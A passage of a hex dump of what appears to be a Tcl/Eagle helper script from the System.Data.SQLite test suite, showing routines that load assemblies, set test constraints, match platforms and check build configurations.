65 ryFile $fileName b820: 20 24 70 6c 61 74 66 6f 72 6d 20 24 76 65 72 62$platform $verb b830: 6f 73 65 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 ose.... if b840: 7b 24 70 64 62 7d 20 74 68 65 6e 20 7b 0d 0a 20 {$pdb} then {.. b850: 20 20 20 20 20 20 20 74 72 79 44 65 6c 65 74 65 tryDelete b860: 42 69 6e 61 72 79 46 69 6c 65 20 5b 61 70 70 65 BinaryFile [appe b870: 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 ndArgs \.. b880: 20 20 20 20 20 20 5b 66 69 6c 65 20 72 6f 6f 74 [file root b890: 6e 61 6d 65 20 24 66 69 6c 65 4e 61 6d 65 5d 20 name $fileName] b8a0: 2e 70 64 62 5d 20 24 70 6c 61 74 66 6f 72 6d 20 .pdb]$platform b8b0: 24 76 65 72 62 6f 73 65 0d 0a 20 20 20 20 20 20 $verbose.. b8c0: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... b8d0: 20 70 72 6f 63 20 74 72 79 4c 6f 61 64 41 73 73 proc tryLoadAss b8e0: 65 6d 62 6c 79 20 7b 20 66 69 6c 65 4e 61 6d 65 embly { fileName b8f0: 20 7b 70 6c 61 74 66 6f 72 6d 20 22 22 7d 20 7d {platform ""} } b900: 20 7b 0d 0a 20 20 20 20 20 20 73 65 74 20 66 69 {.. set fi b910: 6c 65 4e 61 6d 65 20 5b 67 65 74 42 69 6e 61 72 leName [getBinar b920: 79 46 69 6c 65 4e 61 6d 65 20 24 66 69 6c 65 4e yFileName$fileN b930: 61 6d 65 20 24 70 6c 61 74 66 6f 72 6d 5d 0d 0a ame $platform].. b940: 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 .. if {[cat b950: 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 ch {.. se b960: 74 20 61 73 73 65 6d 62 6c 79 20 5b 6f 62 6a 65 t assembly [obje b970: 63 74 20 6c 6f 61 64 20 2d 6c 6f 61 64 74 79 70 ct load -loadtyp b980: 65 20 46 69 6c 65 20 2d 61 6c 69 61 73 20 24 66 e File -alias$f b990: 69 6c 65 4e 61 6d 65 5d 0d 0a 20 20 20 20 20 20 ileName].. b9a0: 7d 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d }] == 0} then {. b9b0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. b9c0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 4e 6f 77 2c # NOTE: Now, b9d0: 20 61 64 64 20 74 68 65 20 6e 65 63 65 73 73 61 add the necessa b9e0: 72 79 20 74 65 73 74 20 63 6f 6e 73 74 72 61 69 ry test constrai b9f0: 6e 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a nt... #.. ba00: 20 20 20 20 20 20 20 20 61 64 64 43 6f 6e 73 74 addConst ba10: 72 61 69 6e 74 20 5b 66 69 6c 65 20 72 6f 6f 74 raint [file root ba20: 6e 61 6d 65 20 5b 66 69 6c 65 20 74 61 69 6c 20 name [file tail ba30: 24 66 69 6c 65 4e 61 6d 65 5d 5d 0d 0a 0d 0a 20 $fileName]].... ba40: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. ba50: 20 20 23 20 4e 4f 54 45 3a 20 47 72 61 62 20 74 # NOTE: Grab t ba60: 68 65 20 69 6d 61 67 65 20 72 75 6e 74 69 6d 65 he image runtime ba70: 20 76 65 72 73 69 6f 6e 20 66 72 6f 6d 20 74 68 version from th ba80: 65 20 61 73 73 65 6d 62 6c 79 20 62 65 63 61 75 e assembly becau ba90: 73 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 se.. # baa0: 20 20 20 20 73 65 76 65 72 61 6c 20 74 65 73 74 several test bab0: 73 20 72 65 6c 79 20 6f 6e 20 69 74 20 68 61 76 s rely on it hav bac0: 69 6e 67 20 61 20 63 65 72 74 61 69 6e 20 76 61 ing a certain va bad0: 6c 75 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d lue... #. bae0: 0a 20 20 20 20 20 20 20 20 61 64 64 43 6f 6e 73 . addCons baf0: 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr bb00: 67 73 20 5b 66 69 6c 65 20 74 61 69 6c 20 24 66 gs [file tail$f bb10: 69 6c 65 4e 61 6d 65 5d 20 5f 20 5c 0d 0a 20 20 ileName] _ \.. bb20: 20 20 20 20 20 20 20 20 20 20 5b 24 61 73 73 65 [$asse bb30: 6d 62 6c 79 20 49 6d 61 67 65 52 75 6e 74 69 6d mbly ImageRuntim bb40: 65 56 65 72 73 69 6f 6e 5d 5d 0d 0a 0d 0a 20 20 eVersion]].... bb50: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. bb60: 20 23 20 4e 4f 54 45 3a 20 52 65 74 75 72 6e 20 # NOTE: Return bb70: 74 68 65 20 66 75 6c 6c 20 70 61 74 68 20 6f 66 the full path of bb80: 20 74 68 65 20 6c 6f 61 64 65 64 20 66 69 6c 65 the loaded file bb90: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. bba0: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 66 69 return$fi bbb0: 6c 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 7d 0d leName.. }. bbc0: 0a 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 ... return bbd0: 22 22 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 "".. }..... bbe0: 20 20 70 72 6f 63 20 69 73 53 51 4c 69 74 65 52 proc isSQLiteR bbf0: 65 61 64 79 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 eady {} {.. bc00: 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE bc10: 3a 20 54 68 69 73 20 70 72 6f 63 65 64 75 72 65 : This procedure bc20: 20 6d 75 73 74 20 72 65 74 75 72 6e 20 6e 6f 6e must return non bc30: 2d 7a 65 72 6f 20 6f 6e 6c 79 20 69 66 20 74 68 -zero only if th bc40: 65 20 53 51 4c 69 74 65 20 6e 61 74 69 76 65 0d e SQLite native. bc50: 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 6c . # l bc60: 69 62 72 61 72 79 20 61 6e 64 20 74 68 65 20 53 ibrary and the S bc70: 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 ystem.Data.SQLit bc80: 65 20 6d 61 6e 61 67 65 64 20 61 73 73 65 6d 62 e managed assemb bc90: 6c 79 20 61 72 65 20 6c 6f 61 64 65 64 0d 0a 20 ly are loaded.. bca0: 20 20 20 20 20 23 20 20 20 20 20 20 20 61 6e 64 # and bcb0: 20 72 65 61 64 79 20 66 6f 72 20 75 73 65 20 62 ready for use b bcc0: 79 20 74 68 65 20 74 65 73 74 20 73 75 69 74 65 y the test suite bcd0: 2e 20 20 43 75 72 72 65 6e 74 6c 79 2c 20 74 68 . Currently, th bce0: 69 73 20 70 72 6f 63 65 64 75 72 65 0d 0a 20 20 is procedure.. bcf0: 20 20 20 20 23 20 20 20 20 20 20 20 73 68 6f 75 # shou bd00: 6c 64 20 62 65 20 63 61 6c 6c 65 64 20 6f 6e 6c ld be called onl bd10: 79 20 61 66 74 65 72 20 74 68 65 20 5b 74 72 79 y after the [try bd20: 4c 6f 61 64 41 73 73 65 6d 62 6c 79 5d 20 70 72 LoadAssembly] pr bd30: 6f 63 65 64 75 72 65 20 68 61 73 0d 0a 20 20 20 ocedure has.. bd40: 20 20 20 23 20 20 20 20 20 20 20 62 65 65 6e 20 # been bd50: 63 61 6c 6c 65 64 20 74 6f 20 70 72 6f 62 65 20 called to probe bd60: 66 6f 72 20 74 68 65 20 53 79 73 74 65 6d 2e 44 for the System.D bd70: 61 74 61 2e 53 51 4c 69 74 65 20 6d 61 6e 61 67 ata.SQLite manag bd80: 65 64 20 61 73 73 65 6d 62 6c 79 0d 0a 20 20 20 ed assembly.. bd90: 20 20 20 23 20 20 20 20 20 20 20 61 6e 64 20 74 # and t bda0: 68 65 20 5b 63 68 65 63 6b 46 6f 72 53 51 4c 69 he [checkForSQLi bdb0: 74 65 5d 20 70 72 6f 63 65 64 75 72 65 20 68 61 te] procedure ha bdc0: 73 20 62 65 65 6e 20 63 61 6c 6c 65 64 20 74 6f s been called to bdd0: 20 70 72 6f 62 65 20 66 6f 72 0d 0a 20 20 20 20 probe for.. bde0: 20 20 23 20 20 20 20 20 20 20 74 68 65 20 53 51 # the SQ bdf0: 4c 69 74 65 20 6e 61 74 69 76 65 20 6c 69 62 72 Lite native libr be00: 61 72 79 3b 20 6f 74 68 65 72 77 69 73 65 2c 20 ary; otherwise, be10: 74 68 69 73 20 70 72 6f 63 65 64 75 72 65 20 77 this procedure w be20: 69 6c 6c 20 73 69 6d 70 6c 79 0d 0a 20 20 20 20 ill simply.. be30: 20 20 23 20 20 20 20 20 20 20 61 6c 77 61 79 73 # always be40: 20 72 65 74 75 72 6e 20 7a 65 72 6f 2e 0d 0a 20 return zero... be50: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 72 65 #.. re be60: 74 75 72 6e 20 5b 65 78 70 72 20 7b 0d 0a 20 20 turn [expr {.. be70: 20 20 20 20 20 20 5b 68 61 76 65 43 6f 6e 73 74 [haveConst be80: 72 61 69 6e 74 20 53 79 73 74 65 6d 2e 44 61 74 raint System.Dat be90: 61 2e 53 51 4c 69 74 65 5d 20 26 26 20 5b 68 61 a.SQLite] && [ha bea0: 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 53 51 4c veConstraint SQL beb0: 69 74 65 5d 0d 0a 20 20 20 20 20 20 7d 5d 0d 0a ite].. }].. bec0: 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr bed0: 6f 63 20 6d 61 74 63 68 50 6c 61 74 66 6f 72 6d oc matchPlatform bee0: 20 7b 20 70 6c 61 74 66 6f 72 6d 20 7d 20 7b 0d { platform } {. bef0: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. bf00: 23 20 4e 4f 54 45 3a 20 41 6e 20 65 6d 70 74 79 # NOTE: An empty bf10: 20 73 74 72 69 6e 67 20 66 6f 72 20 74 68 65 20 string for the bf20: 70 6c 61 74 66 6f 72 6d 20 6d 65 61 6e 73 20 74 platform means t bf30: 68 61 74 20 74 68 65 20 62 75 69 6c 64 20 69 73 hat the build is bf40: 20 6e 6f 74 0d 0a 20 20 20 20 20 20 23 20 20 20 not.. # bf50: 20 20 20 20 5b 70 72 69 6d 61 72 69 6c 79 5d 20 [primarily] bf60: 61 20 6e 61 74 69 76 65 20 62 75 69 6c 64 3b 20 a native build; bf70: 74 68 65 72 65 66 6f 72 65 2c 20 69 74 20 61 6c therefore, it al bf80: 77 61 79 73 20 6d 61 74 63 68 65 73 2e 0d 0a 20 ways matches... bf90: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if bfa0: 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 {[string length bfb0: 20 24 70 6c 61 74 66 6f 72 6d 5d 20 3d 3d 20 30 $platform] == 0 bfc0: 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. bfd0: 20 20 72 65 74 75 72 6e 20 74 72 75 65 0d 0a 20 return true.. bfe0: 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... bff0: 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: c000: 20 44 6f 65 73 20 74 68 65 20 73 70 65 63 69 66 Does the specif c010: 69 65 64 20 70 6c 61 74 66 6f 72 6d 20 6d 61 74 ied platform mat c020: 63 68 20 75 70 20 74 6f 20 74 68 65 20 63 75 72 ch up to the cur c030: 72 65 6e 74 20 70 72 6f 63 65 73 73 3f 0d 0a 20 rent process?.. c040: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if c050: 20 7b 24 70 6c 61 74 66 6f 72 6d 20 65 71 20 5b {$platform eq [ c060: 6d 61 63 68 69 6e 65 54 6f 50 6c 61 74 66 6f 72 machineToPlatfor c070: 6d 20 24 3a 3a 74 63 6c 5f 70 6c 61 74 66 6f 72 m $::tcl_platfor c080: 6d 28 6d 61 63 68 69 6e 65 29 5d 7d 20 74 68 65 m(machine)]} the c090: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 n {.. ret c0a0: 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 20 20 urn true.. c0b0: 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 }.... #.. c0c0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 # NOTE: The c0d0: 73 70 65 63 69 66 69 65 64 20 70 6c 61 74 66 6f specified platfo c0e0: 72 6d 20 64 6f 65 73 20 6e 6f 74 20 6d 61 74 63 rm does not matc c0f0: 68 20 75 70 20 77 69 74 68 20 74 68 65 20 70 6c h up with the pl c100: 61 74 66 6f 72 6d 0d 0a 20 20 20 20 20 20 23 20 atform.. # c110: 20 20 20 20 20 20 66 6f 72 20 74 68 65 20 63 75 for the cu c120: 72 72 65 6e 74 20 70 72 6f 63 65 73 73 2e 0d 0a rrent process... c130: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 72 #.. r c140: 65 74 75 72 6e 20 66 61 6c 73 65 0d 0a 20 20 20 eturn false.. c150: 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc c160: 68 61 76 65 53 51 4c 69 74 65 4f 62 6a 65 63 74 haveSQLiteObject c170: 43 6f 6d 6d 61 6e 64 20 7b 7d 20 7b 0d 0a 20 20 Command {} {.. c180: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N c190: 4f 54 45 3a 20 49 73 20 74 68 65 20 5b 6f 62 6a OTE: Is the [obj c1a0: 65 63 74 5d 20 63 6f 6d 6d 61 6e 64 20 63 75 72 ect] command cur c1b0: 72 65 6e 74 6c 79 20 61 76 61 69 6c 61 62 6c 65 rently available c1c0: 3f 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ?.. #.. c1d0: 20 20 72 65 74 75 72 6e 20 5b 65 78 70 72 20 7b return [expr { c1e0: 5b 6c 6c 65 6e 67 74 68 20 5b 69 6e 66 6f 20 63 [llength [info c c1f0: 6f 6d 6d 61 6e 64 73 20 6f 62 6a 65 63 74 5d 5d ommands object]] c200: 20 3e 20 30 7d 5d 0d 0a 20 20 20 20 7d 0d 0a 0c > 0}].. }... c210: 0d 0a 20 20 20 20 70 72 6f 63 20 63 68 65 63 6b .. proc check c220: 46 6f 72 53 51 4c 69 74 65 4f 62 6a 65 63 74 43 ForSQLiteObjectC c230: 6f 6d 6d 61 6e 64 20 7b 20 63 68 61 6e 6e 65 6c ommand { channel c240: 20 7d 20 7b 0d 0a 20 20 20 20 20 20 74 70 75 74 } {.. tput c250: 73 20 24 63 68 61 6e 6e 65 6c 20 22 2d 2d 2d 2d s$channel "---- c260: 20 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 5c 22 checking for \" c270: 6f 62 6a 65 63 74 5c 22 20 63 6f 6d 6d 61 6e 64 object\" command c280: 20 75 73 61 67 65 2e 2e 2e 20 22 0d 0a 0d 0a 20 usage... ".... c290: 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 if {![info c2a0: 65 78 69 73 74 73 20 3a 3a 6e 6f 28 73 71 6c 69 exists ::no(sqli c2b0: 74 65 4f 62 6a 65 63 74 43 6f 6d 6d 61 6e 64 29 teObjectCommand) c2c0: 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 ] && \.. c2d0: 20 20 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a [haveSQLiteObj c2e0: 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 ectCommand]} the c2f0: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 75 n {.. tpu c300: 74 73 20 24 63 68 61 6e 6e 65 6c 20 79 65 73 5c ts $channel yes\ c310: 6e 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 n.. } else c320: 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 {.. #.. c330: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 55 6e # NOTE: Un c340: 6c 65 73 73 20 77 65 20 61 72 65 20 66 6f 72 62 less we are forb c350: 69 64 64 65 6e 20 66 72 6f 6d 20 64 6f 69 6e 67 idden from doing c360: 20 73 6f 2c 20 61 64 64 20 73 6f 6d 65 20 63 6f so, add some co c370: 6e 73 74 72 61 69 6e 74 73 0d 0a 20 20 20 20 20 nstraints.. c380: 20 20 20 23 20 20 20 20 20 20 20 74 68 61 74 20 # that c390: 77 69 6c 6c 20 61 6c 6c 6f 77 20 6d 6f 73 74 20 will allow most c3a0: 6f 66 20 74 68 65 20 74 65 73 74 20 73 75 69 74 of the test suit c3b0: 65 20 74 6f 20 72 75 6e 20 28 69 2e 65 2e 20 74 e to run (i.e. t c3c0: 68 6f 73 65 0d 0a 20 20 20 20 20 20 20 20 23 20 hose.. # c3d0: 20 20 20 20 20 20 74 65 73 74 73 20 74 68 61 74 tests that c3e0: 20 64 6f 20 6e 6f 74 20 64 69 72 65 63 74 6c 79 do not directly c3f0: 20 72 65 6c 79 20 75 70 6f 6e 20 74 68 65 20 5b rely upon the [ c400: 6f 62 6a 65 63 74 5d 20 63 6f 6d 6d 61 6e 64 29 object] command) c410: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. c420: 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f if {![info c430: 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 73 68 69 exists ::no(shi c440: 6d 53 51 4c 69 74 65 41 73 73 65 6d 62 6c 79 43 mSQLiteAssemblyC c450: 6f 6e 73 74 72 61 69 6e 74 73 29 5d 7d 20 74 68 onstraints)]} th c460: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. c470: 61 64 64 43 6f 6e 73 74 72 61 69 6e 74 20 53 51 addConstraint SQ c480: 4c 69 74 65 0d 0a 20 20 20 20 20 20 20 20 20 20 Lite.. c490: 61 64 64 43 6f 6e 73 74 72 61 69 6e 74 20 53 51 addConstraint SQ c4a0: 4c 69 74 65 49 6e 74 65 72 6f 70 0d 0a 20 20 20 LiteInterop.. c4b0: 20 20 20 20 20 20 20 61 64 64 43 6f 6e 73 74 72 addConstr c4c0: 61 69 6e 74 20 53 79 73 74 65 6d 2e 44 61 74 61 aint System.Data c4d0: 2e 53 51 4c 69 74 65 0d 0a 20 20 20 20 20 20 20 .SQLite.. c4e0: 20 20 20 61 64 64 43 6f 6e 73 74 72 61 69 6e 74 addConstraint c4f0: 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c System.Data.SQL c500: 69 74 65 2e 45 6e 63 72 79 70 74 69 6f 6e 0d 0a ite.Encryption.. c510: 20 20 20 20 20 20 20 20 20 20 61 64 64 43 6f 6e addCon c520: 73 74 72 61 69 6e 74 20 53 79 73 74 65 6d 2e 44 straint System.D c530: 61 74 61 2e 53 51 4c 69 74 65 2e 4c 69 6e 71 0d ata.SQLite.Linq. c540: 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 61 64 64 ... add c550: 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 Constraint [appe c560: 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 ndArgs \.. c570: 20 20 20 20 20 20 20 20 53 79 73 74 65 6d 2e 44 System.D c580: 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 5f 76 ata.SQLite.dll_v c590: 20 5b 67 65 74 42 75 69 6c 64 43 6c 72 56 65 72 [getBuildClrVer c5a0: 73 69 6f 6e 5d 5d 0d 0a 20 20 20 20 20 20 20 20 sion]].. c5b0: 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 }.... if c5c0: 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {![info exists : c5d0: 3a 6e 6f 28 73 68 69 6d 53 51 4c 69 74 65 44 65 :no(shimSQLiteDe c5e0: 66 69 6e 65 43 6f 6e 73 74 61 6e 74 43 6f 6e 73 fineConstantCons c5f0: 74 72 61 69 6e 74 73 29 5d 7d 20 74 68 65 6e 20 traints)]} then c600: 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 66 6f 72 {.. for c610: 65 61 63 68 20 64 65 66 69 6e 65 43 6f 6e 73 74 each defineConst c620: 61 6e 74 20 5b 6c 69 73 74 20 5c 0d 0a 20 20 20 ant [list \.. c630: 20 20 20 20 20 20 20 20 20 20 20 49 4e 54 45 52 INTER c640: 4f 50 5f 45 58 54 45 4e 53 49 4f 4e 5f 46 55 4e OP_EXTENSION_FUN c650: 43 54 49 4f 4e 53 20 49 4e 54 45 52 4f 50 5f 46 CTIONS INTEROP_F c660: 54 53 35 5f 45 58 54 45 4e 53 49 4f 4e 20 5c 0d TS5_EXTENSION \. c670: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 49 . I c680: 4e 54 45 52 4f 50 5f 4a 53 4f 4e 31 5f 45 58 54 NTEROP_JSON1_EXT c690: 45 4e 53 49 4f 4e 20 49 4e 54 45 52 4f 50 5f 50 ENSION INTEROP_P c6a0: 45 52 43 45 4e 54 49 4c 45 5f 45 58 54 45 4e 53 ERCENTILE_EXTENS c6b0: 49 4f 4e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 ION \.. c6c0: 20 20 20 20 20 49 4e 54 45 52 4f 50 5f 52 45 47 INTEROP_REG c6d0: 45 58 50 5f 45 58 54 45 4e 53 49 4f 4e 20 49 4e EXP_EXTENSION IN c6e0: 54 45 52 4f 50 5f 54 45 53 54 5f 45 58 54 45 4e TEROP_TEST_EXTEN c6f0: 53 49 4f 4e 20 5c 0d 0a 20 20 20 20 20 20 20 20 SION \.. c700: 20 20 20 20 20 20 49 4e 54 45 52 4f 50 5f 54 4f INTEROP_TO c710: 54 59 50 45 5f 45 58 54 45 4e 53 49 4f 4e 20 49 TYPE_EXTENSION I c720: 4e 54 45 52 4f 50 5f 56 49 52 54 55 41 4c 5f 54 NTEROP_VIRTUAL_T c730: 41 42 4c 45 20 5c 0d 0a 20 20 20 20 20 20 20 20 ABLE \.. c740: 20 20 20 20 20 20 55 53 45 5f 49 4e 54 45 52 4f USE_INTERO c750: 50 5f 44 4c 4c 5d 20 7b 0d 0a 20 20 20 20 20 20 P_DLL] {.. c760: 20 20 20 20 20 20 61 64 64 43 6f 6e 73 74 72 61 addConstra c770: 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 int [appendArgs c780: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. c790: 20 20 20 64 65 66 69 6e 65 43 6f 6e 73 74 61 6e defineConstan c7a0: 74 2e 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 t.System.Data.SQ c7b0: 4c 69 74 65 2e 20 24 64 65 66 69 6e 65 43 6f 6e Lite.$defineCon c7c0: 73 74 61 6e 74 5d 0d 0a 20 20 20 20 20 20 20 20 stant].. c7d0: 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a }.. }.. c7e0: 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ c7f0: 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f info exists ::no c800: 28 73 68 69 6d 53 51 4c 69 74 65 56 69 73 75 61 (shimSQLiteVisua c810: 6c 53 74 75 64 69 6f 43 6f 6e 73 74 72 61 69 6e lStudioConstrain c820: 74 73 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ts)]} then {.. c830: 20 20 20 20 20 20 20 20 61 64 64 43 6f 6e 73 74 addConst c840: 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 raint [appendArg c850: 73 20 76 69 73 75 61 6c 53 74 75 64 69 6f 20 5b s visualStudio [ c860: 67 65 74 42 75 69 6c 64 59 65 61 72 5d 5d 0d 0a getBuildYear]].. c870: 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 }.... c880: 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs $chan c890: 6e 65 6c 20 6e 6f 5c 6e 0d 0a 20 20 20 20 20 20 nel no\n.. c8a0: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... c8b0: 20 70 72 6f 63 20 63 68 61 6e 67 65 4e 61 74 69 proc changeNati c8c0: 76 65 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e 20 veRuntimeOption c8d0: 7b 20 6e 61 74 69 76 65 20 7d 20 7b 0d 0a 20 20 { native } {.. c8e0: 20 20 20 20 69 66 20 7b 5b 6c 6c 65 6e 67 74 68 if {[llength c8f0: 20 5b 69 6e 66 6f 20 63 6f 6d 6d 61 6e 64 73 20 [info commands c900: 64 65 62 75 67 5d 5d 20 3e 20 30 20 26 26 20 5c debug]] > 0 && \ c910: 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 6c 6c 65 .. [lle c920: 6e 67 74 68 20 5b 69 6e 66 6f 20 73 75 62 63 6f ngth [info subco c930: 6d 6d 61 6e 64 73 20 64 65 62 75 67 20 72 75 6e mmands debug run c940: 74 69 6d 65 6f 70 74 69 6f 6e 5d 5d 20 3e 20 30 timeoption]] > 0 c950: 20 26 26 20 5b 63 61 74 63 68 20 7b 0d 0a 20 20 && [catch {.. c960: 20 20 20 20 20 20 64 65 62 75 67 20 72 75 6e 74 debug runt c970: 69 6d 65 6f 70 74 69 6f 6e 20 5b 65 78 70 72 20 imeoption [expr c980: 7b 24 6e 61 74 69 76 65 20 3f 20 22 61 64 64 22 {$native ? "add" c990: 20 3a 20 22 72 65 6d 6f 76 65 22 7d 5d 20 6e 61 : "remove"}] na c9a0: 74 69 76 65 0d 0a 20 20 20 20 20 20 7d 5d 20 3d tive.. }] = c9b0: 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 = 0} then {.. c9c0: 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 return true c9d0: 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... c9e0: 20 20 20 69 66 20 7b 5b 68 61 76 65 53 51 4c 69 if {[haveSQLi c9f0: 74 65 4f 62 6a 65 63 74 43 6f 6d 6d 61 6e 64 5d teObjectCommand] ca00: 20 26 26 20 5b 63 61 74 63 68 20 7b 0d 0a 20 20 && [catch {.. ca10: 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 object inv ca20: 6f 6b 65 20 49 6e 74 65 72 70 72 65 74 65 72 2e oke Interpreter. ca30: 47 65 74 41 63 74 69 76 65 20 5b 65 78 70 72 20 GetActive [expr ca40: 7b 24 6e 61 74 69 76 65 20 3f 20 5c 0d 0a 20 20 {$native ? \.. ca50: 20 20 20 20 20 20 20 20 20 20 22 41 64 64 52 75 "AddRu ca60: 6e 74 69 6d 65 4f 70 74 69 6f 6e 22 20 3a 20 22 ntimeOption" : " ca70: 52 65 6d 6f 76 65 52 75 6e 74 69 6d 65 4f 70 74 RemoveRuntimeOpt ca80: 69 6f 6e 22 7d 5d 20 6e 61 74 69 76 65 0d 0a 20 ion"}] native.. ca90: 20 20 20 20 20 7d 5d 20 3d 3d 20 30 7d 20 74 68 }] == 0} th caa0: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 en {.. re cab0: 74 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 20 turn true.. cac0: 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 72 65 74 75 }.... retu cad0: 72 6e 20 66 61 6c 73 65 0d 0a 20 20 20 20 7d 0d rn false.. }. cae0: 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 63 68 65 .... proc che caf0: 63 6b 46 6f 72 53 51 4c 69 74 65 42 75 69 6c 64 ckForSQLiteBuild cb00: 73 20 7b 20 63 68 61 6e 6e 65 6c 20 7b 73 65 6c s { channel {sel cb10: 65 63 74 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a ect false} } {.. cb20: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # cb30: 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 66 6f 72 NOTE: Check for cb40: 20 65 76 65 72 79 20 70 6f 73 73 69 62 6c 65 20 every possible cb50: 76 61 6c 69 64 20 63 6f 6d 62 69 6e 61 74 69 6f valid combinatio cb60: 6e 20 6f 66 20 76 61 6c 75 65 73 20 75 73 65 64 n of values used cb70: 20 77 68 65 6e 0d 0a 20 20 20 20 20 20 23 20 20 when.. # cb80: 20 20 20 20 20 6c 6f 63 61 74 69 6e 67 20 6f 75 locating ou cb90: 74 20 74 68 65 20 62 75 69 6c 64 20 6f 75 74 70 t the build outp cba0: 75 74 20 64 69 72 65 63 74 6f 72 79 2c 20 73 68 ut directory, sh cbb0: 6f 77 69 6e 67 20 65 61 63 68 20 61 76 61 69 6c owing each avail cbc0: 61 62 6c 65 0d 0a 20 20 20 20 20 20 23 20 20 20 able.. # cbd0: 20 20 20 20 62 75 69 6c 64 20 76 61 72 69 61 74 build variat cbe0: 69 6f 6e 20 61 6c 6f 6e 67 20 74 68 65 20 77 61 ion along the wa cbf0: 79 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 